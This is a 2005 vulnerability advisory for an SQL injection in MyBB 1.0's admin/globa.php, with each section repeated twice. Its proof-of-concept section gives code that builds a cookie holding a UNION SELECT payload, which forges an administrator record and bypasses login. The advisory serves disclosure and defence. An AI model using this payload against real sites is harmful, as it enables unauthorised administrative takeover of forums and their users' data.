MyBB Globa.PHP Cookie Data SQL Injection Vulnerability
BID:16082
Info
MyBB Globa.PHP Cookie Data SQL Injection Vulnerability
| Bugtraq ID: | 16082 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 29 2005 12:00AM |
| Updated: | Dec 29 2005 12:00AM |
| Credit: | Discovered by imei <[email protected]>. |
| Vulnerable: |
MyBB DevBB 1.0 |
| Not Vulnerable: | |
Discussion
MyBB Globa.PHP Cookie Data SQL Injection Vulnerability
MyBB is prone to an SQL injection vulnerability.
The vulnerability presents itself when user-supplied input via cookie data is passed to the 'admin/globa.php' script.
Successful exploitation can allow an attacker to bypass authentication and gain administrative access to a site. Other attacks may also be possible.
MyBB 1.0 is reportedly vulnerable.
MyBB is prone to an SQL injection vulnerability.
The vulnerability presents itself when user-supplied input via cookie data is passed to the 'admin/globa.php' script.
Successful exploitation can allow an attacker to bypass authentication and gain administrative access to a site. Other attacks may also be possible.
MyBB 1.0 is reportedly vulnerable.
Exploit / POC
MyBB Globa.PHP Cookie Data SQL Injection Vulnerability
An exploit is not required.
The following proof of concept example is available:
string expcookie="imei'" //garbrage field that actually is not an uid + an inject sign +" union select '1' as uid," //return no admin union our sniffed admin +" '','','','xxx'as loginkey ,"//we have not any info! so null them; only login key cheked that we fill with xxx +" '','','','',"//null fields befor usergroup +" 4 as usergroup";// ok! our sniffed admin is an admin : D !! for (int i=0;i< 49;i++) expcookie+=",''"; //null all of other fields!expcookie+="-- imei" // remark rest of SQL +"_xxx" ;
An exploit is not required.
The following proof of concept example is available:
string expcookie="imei'" //garbrage field that actually is not an uid + an inject sign +" union select '1' as uid," //return no admin union our sniffed admin +" '','','','xxx'as loginkey ,"//we have not any info! so null them; only login key cheked that we fill with xxx +" '','','','',"//null fields befor usergroup +" 4 as usergroup";// ok! our sniffed admin is an admin : D !! for (int i=0;i< 49;i++) expcookie+=",''"; //null all of other fields!expcookie+="-- imei" // remark rest of SQL +"_xxx" ;
Solution / Fix
MyBB Globa.PHP Cookie Data SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
MyBB Globa.PHP Cookie Data SQL Injection Vulnerability
References:
References:
- MyBulletinBoard Home Page (MyBulletinBoard)